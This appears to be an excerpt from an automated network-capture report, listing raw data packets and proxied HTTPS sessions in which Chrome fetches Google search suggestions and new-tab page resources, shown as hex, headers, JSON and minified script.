Nov 12, 2024 08:32:09.202814102 CET	1236	IN	Data Raw: 7e 71 7c 94 b0 49 d6 8e 78 6a 0a 0c c8 37 e3 90 74 e1 47 e9 e8 2b 20 e2 d0 01 54 8b d3 11 ca 86 e0 19 b9 f2 f8 01 01 ef 66 19 bd d0 80 f1 73 e6 eb 03 87 c5 e0 c5 0e 61 05 cd ae c0 1b dc 27 3f b9 15 50 5e be ea 2f de 1b 1e 5b ee 76 45 76 98 01 17 Data Ascii: ~q\|Ixj7tG+ Tfsa'?P^/[vEv9.T9v+T0:R4]C.&Hyt7}jy19=~^qy;R6W ]zNgE\/L!p5/&(LcAn$\|B
Nov 12, 2024 08:32:09.202825069 CET	1236	IN	Data Raw: f8 74 79 43 a5 00 5d 3e 6d fd e5 db c0 1b 1d dd ae 86 42 1f a3 4c 68 66 fb 94 8e e6 44 49 60 52 63 02 2b 0a a7 d4 69 62 83 15 62 d6 df 13 1c 51 64 3b 74 d0 5c 4c 55 81 64 dc f3 fa a4 b5 4d 9b a0 47 cc 6d 89 27 10 49 f4 d9 08 80 b4 0d 26 18 71 da Data Ascii: tyC]>mBLhfDI`Rc+ibbQd;t\LUdMGm'I&q"YqRrq70o>(SGACh.`=U{LYn<w.]0jn`\\|o'"deIgp<+*e -b+>o@HgvtDr;W4q:
Nov 12, 2024 08:32:09.202836990 CET	848	IN	Data Raw: 42 14 f7 34 a0 4f 72 b7 e3 b5 2d 46 67 1e 4f af 80 19 e0 52 c4 80 27 40 b8 f1 73 77 ee 28 d8 8c 20 78 0f 53 73 f1 af 94 ee c5 7f a7 67 80 24 de b2 d2 b7 52 ee ed 4d 4b 7f 4f 53 43 79 01 c8 c6 bf f5 4d d3 7f 10 74 a8 bf 17 b4 ed fc b6 74 f1 e5 20 Data Ascii: B4Or-FgOR'@sw( xSsg$RMKOSCyMtt H9Lt^.$DC-6.xq,SF#vXs$IrZxlqX \V\|/8aG\|M(Z4r/p:@zDSKd)1M8?t]lL
Nov 12, 2024 08:32:09.202855110 CET	1236	IN	Data Raw: 84 4b 4e 5b a2 2b e1 1c 70 10 78 63 7c e9 e7 9c ff 4c 2c 7f d2 bd 7f 3b 7b 81 98 e0 6e 7f 0c f5 dc 07 72 9b 95 00 b7 e0 9e 7f 2e f5 b0 13 e0 92 67 ce e3 1e 7c f9 23 cb d2 ed e5 e4 47 99 71 df dd 80 73 21 dc b1 4d 60 c5 b8 ff f3 fb 08 77 33 64 1f Data Ascii: KN[+pxc\|L,;{nr.g\|#Gqs!M`w3d{}MS!)#=FSX-%RN#T.~lvr1-CVgz=CfRp'0h,/yMySw?S&`+[`W
Nov 12, 2024 08:32:09.202867031 CET	1236	IN	Data Raw: 91 8d 66 df ee c1 23 73 d2 c5 7e d1 d0 63 5e 53 05 1f 90 e5 4e 43 72 2b a0 31 72 97 7c 2f 04 5d bf a9 66 50 4a 6b 2e f6 a0 1d a4 ed db 82 22 e7 a8 81 0f 92 64 07 72 46 bf 5b 58 5f 80 4d 7c f5 95 27 af 62 88 13 4f 53 f8 c1 e7 66 bf 9f 8f 31 c2 8d Data Ascii: f#s~c^SNCr+1r\|/]fPJk."drF[X_M\|'bOSf1ORG,wK-e;!~f89]cd>B?\|\|$]cFX/q~e/xv0YpS^dx,NxO;w` Z]`2/qGF(R<:C!
Nov 12, 2024 08:32:09.207937002 CET	1236	IN	Data Raw: 14 bb 1c 25 ec a9 74 f5 5c 1f 80 4c fc 3f 4c 7f 7c 18 d8 92 5d f1 e7 d8 9c ad 71 95 48 28 a8 e2 4c 78 4f 99 c2 b9 a7 e5 2c 01 ac 75 83 31 7f bd 75 38 0a d6 ee 69 28 e5 70 8c 2d f5 8d 82 36 f5 c2 49 80 95 7b f9 67 de 65 18 5b 77 b3 79 2c 95 e4 4d Data Ascii: %t\L?L\|]qH(LxO,u1u8i(p-6I{ge[wy,M()\|)-p~Ge(,'j#cX@C-X~Leg/\|/]er^M2B#H/([{=.F~_seYTs_m[}pza^lO^Mxq

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.185.100	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:18 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 07:30:18 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:18 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-6KPq1IoUuOTadYyAkx8a6w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 07:30:18 UTC	112	IN	Data Raw: 63 33 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 32 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 62 65 73 74 20 73 69 6e 67 6c 65 73 20 64 61 79 20 73 61 6c 65 73 22 2c 22 68 65 72 65 74 69 63 20 6d 6f 76 69 65 20 65 6e 64 69 6e 67 22 2c 22 79 61 6e 6b 65 65 73 20 6a 75 61 6e 20 73 6f Data Ascii: c38)]}'["",["nintendo switch 2 release date","best singles day sales","heretic movie ending","yankees juan so
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 74 6f 22 2c 22 68 75 72 72 69 63 61 6e 65 20 73 65 61 73 6f 6e 20 63 61 72 69 62 62 65 61 6e 22 2c 22 6b 69 6e 67 64 61 20 6b 61 20 72 6f 6c 6c 65 72 20 63 6f 61 73 74 65 72 22 2c 22 32 30 32 34 20 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 22 2c 22 73 73 20 75 6e 69 74 65 64 20 73 74 61 74 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 Data Ascii: to","hurricane season caribbean","kingda ka roller coaster","2024 spotify wrapped","ss united states"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugg
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 56 4f 4d 56 68 54 65 45 5a 50 5a 6a 5a 7a 54 57 74 6d 62 30 63 76 4e 58 42 7a 63 6c 46 51 57 56 4e 4e 62 6d 78 54 62 7a 6c 77 64 58 4a 52 65 6d 46 34 53 47 4a 53 57 6c 6f 33 55 6b 4e 71 51 57 70 69 61 6d 4a 43 55 48 42 70 62 58 64 68 51 58 56 73 54 32 78 53 55 7a 6c 4b 62 48 5a 59 61 55 52 4a 53 57 78 70 54 31 59 35 4e 46 70 50 5a 6d 70 7a 55 56 42 77 55 56 52 74 62 30 78 4d 52 47 68 58 4e 30 70 5a 55 55 51 32 53 6e 42 6a 64 44 49 31 62 58 5a 45 4d 57 46 49 4d 32 30 34 51 6c 52 47 4d 47 5a 76 4e 33 42 72 4f 45 6c 6c 52 7a 6c 71 62 48 67 76 61 57 4d 30 63 55 34 78 64 55 6b 78 51 31 64 72 4d 45 56 46 54 30 52 71 61 55 64 6b 4c 32 78 72 57 6e 49 77 54 58 70 52 57 45 4e 47 54 55 59 34 52 47 6c 5a 54 48 64 6f 61 6a 52 75 53 47 78 54 4e 6a 49 7a 62 58 4e 71 53 Data Ascii: VOMVhTeEZPZjZzTWtmb0cvNXBzclFQWVNNbmxTbzlwdXJRemF4SGJSWlo3UkNqQWpiamJCUHBpbXdhQXVsT2xSUzlKbHZYaURJSWxpT1Y5NFpPZmpzUVBwUVRtb0xMRGhXN0pZUUQ2SnBjdDI1bXZEMWFIM204QlRGMGZvN3BrOEllRzlqbHgvaWM0cU4xdUkxQ1drMEVFT0RqaUdkL2xrWnIwTXpRWENGTUY4RGlZTHdoajRuSGxTNjIzbXNqS
2024-11-12 07:30:18 UTC	267	IN	Data Raw: 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c Data Ascii: relevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY",
2024-11-12 07:30:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.185.100	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.185.100	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:18 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 07:30:18 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 07:30:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 07:30:18 UTC	336	IN	Data Raw: 32 35 30 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 250f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700292,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 5b 51 64 28 5c 22 64 Data Ascii: erCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003d[Qd(\"d
2024-11-12 07:30:18 UTC	891	IN	Data Raw: 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 Data Ascii: .i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonc
2024-11-12 07:30:18 UTC	337	IN	Data Raw: 31 34 61 0d 0a 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 74 65 2c 78 65 2c 70 65 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 70 65 28 5f 2e 71 65 28 61 29 29 3a 6e 65 7c 7c 28 6e 65 5c 75 30 30 33 64 6e 65 77 20 70 65 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 Data Ascii: 14ajavascript:)(?:[\\w+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var te,xe,pe;_.re\u003dfunction(a){return a?new pe(_.qe(a)):ne\|\|(ne\u003dnew pe)};_.se\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c
